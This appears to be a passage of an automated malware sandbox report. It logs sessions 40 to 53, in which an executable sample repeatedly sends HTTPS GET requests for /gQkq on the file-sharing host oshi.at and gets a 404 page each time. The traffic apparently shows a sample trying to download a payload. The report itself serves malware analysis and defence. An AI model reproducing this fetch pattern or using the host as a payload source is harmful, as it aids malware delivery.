                                                                2025-01-10 17:50:59 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                40192.168.2.950018194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:03 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:04 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:03 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:04 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                41192.168.2.950019194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:05 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:05 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:05 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:05 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                42192.168.2.950020194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:10 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:10 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:10 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:10 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                43192.168.2.950021194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:11 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:12 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:12 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:12 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                44192.168.2.950022194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:13 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:14 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:14 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:14 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                45192.168.2.950023194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:15 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:16 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:16 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:16 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                46192.168.2.950024194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:17 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:18 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:18 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:18 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                47192.168.2.950025194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:23 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:23 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:23 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:23 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                48192.168.2.950026194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:24 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:25 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:25 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:25 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                49192.168.2.950027194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:26 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:27 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:27 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:27 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                50192.168.2.950028194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:28 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:29 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:29 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:29 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                51192.168.2.950029194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:30 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:30 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:30 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:30 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                52192.168.2.950030194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:32 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:32 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:32 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:32 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                53192.168.2.950031194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:51:33 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:51:34 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:51:34 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:51:34 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


